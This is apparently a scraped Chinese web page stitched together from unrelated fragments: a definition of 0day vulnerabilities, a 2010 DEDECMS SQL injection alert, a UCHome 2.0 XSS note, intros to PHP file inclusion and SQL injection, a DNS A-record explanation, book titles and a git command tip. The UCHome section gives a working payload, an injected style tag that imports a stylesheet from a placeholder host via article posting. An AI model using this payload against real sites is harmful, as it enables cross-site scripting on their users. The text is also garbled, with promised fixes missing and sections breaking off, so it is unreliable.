不灭的焱

在报纸上看到xx又爆出0day漏洞是什么意思？

day漏洞，是已经发现但是官方还没发布补丁的漏洞。

信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。

4月29日消息：国内安全研究团队“知道创宇”称截获到最新DEDECMS SQL注入0day，DEDECMS官网目前提供下载的最新版5.7也受影响，截止本告警发出时官方尚未给出补丁或解决方案，此漏洞利用简单且dedecms安装之后默认即开启漏洞模块。

知道创宇给出三种临时解决方案：

利用条件：开启注册&&开启投稿

方法 ：注册会员 -> 发表文章：内容输入

<style>@import 'http://xxx.com/xss.css';</style>

发布时间：2010-09-03

影响版本：uchome 2.0

漏洞描述：看源码分析的，出错位置较敏感，而且基本没有利用限制，个人主页自定义风格时，可@import外部css文件

测试方法：

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

/doc/regex/regex.html#lookaround

https://www.cnblogs.com/macq/p/6597366.html

1. PHP文件包含漏洞介绍

首先，我们来介绍下何为文件包含漏洞。严格来说，文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码，并让服务端执行。“代码注入”的典型代表就是文件包含。文件包含漏洞可能出现在JSP、PHP、ASP等语言中，原理都是一样的，本文只介绍PHP文件包含漏洞。

1. A记录：WEB服务器的IP指向

A (Address) 记录是用来指定主机名（或域名）对应的IP地址记录。

说明：用户可以将该域名下的网站服务器指向到自己的web server上，同时也可以设置自己域名的二级域名。

就是说：通过A记录，大家可以设置自己的不同域名转到不同的IP上去！如：

最近在折腾 PHP + MYSQL 的编程。了解了一些 PHP SQL 注入攻击的知识，总结一下经验。在我看来，引发 SQL 注入攻击的主要原因，是因为以下两点原因：

1. php 配置文件 php.ini 中的 magic_quotes_gpc选项没有打开，被置为 off；

2. 开发者没有对数据类型进行检查和转义。

《Netty权威指南 第二版》源码、MQTT教程

《Netty in Action》翻译 、一起学Netty 、一起写 Java RPC 框架

1. 输出最后一次提交的改变

这个命令，我经常使用它 来发送其他没有使用 git 的人来检查或者集成所修改的。它会输出最近提交的修改内容到一个 zip 文件中。

git archive -o ../updated.zip HEAD $(git diff --name-only HEAD^)